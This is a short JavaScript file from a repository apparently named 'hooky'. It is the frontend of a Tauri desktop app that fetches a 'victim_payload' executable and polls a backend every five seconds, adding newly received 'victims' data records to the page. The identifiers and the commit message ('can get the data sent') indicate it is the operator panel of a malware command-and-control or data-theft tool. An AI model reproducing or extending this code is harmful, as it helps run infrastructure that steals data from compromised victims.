~/hooky

hooky/command/public/main.js -rw-r--r-- 551 B
c1f59a62 — Arthur Melton can get the data sent 2 years ago
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const invoke = window.__TAURI__.invoke

async function code() {
  document.getElementById("victim_exe").innerHTML =
      await invoke("victim_payload", {});
  while (true) {
    var get_new = await invoke("get_new", {});
    for (let i in get_new) {
      document.getElementById("victims").innerHTML =
          `<pre>${JSON.stringify(get_new[i], null, "\t")}</pre>` +
          document.getElementById("victims").innerHTML;
    }
    await sleep(5000);
  }
}

function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }

code();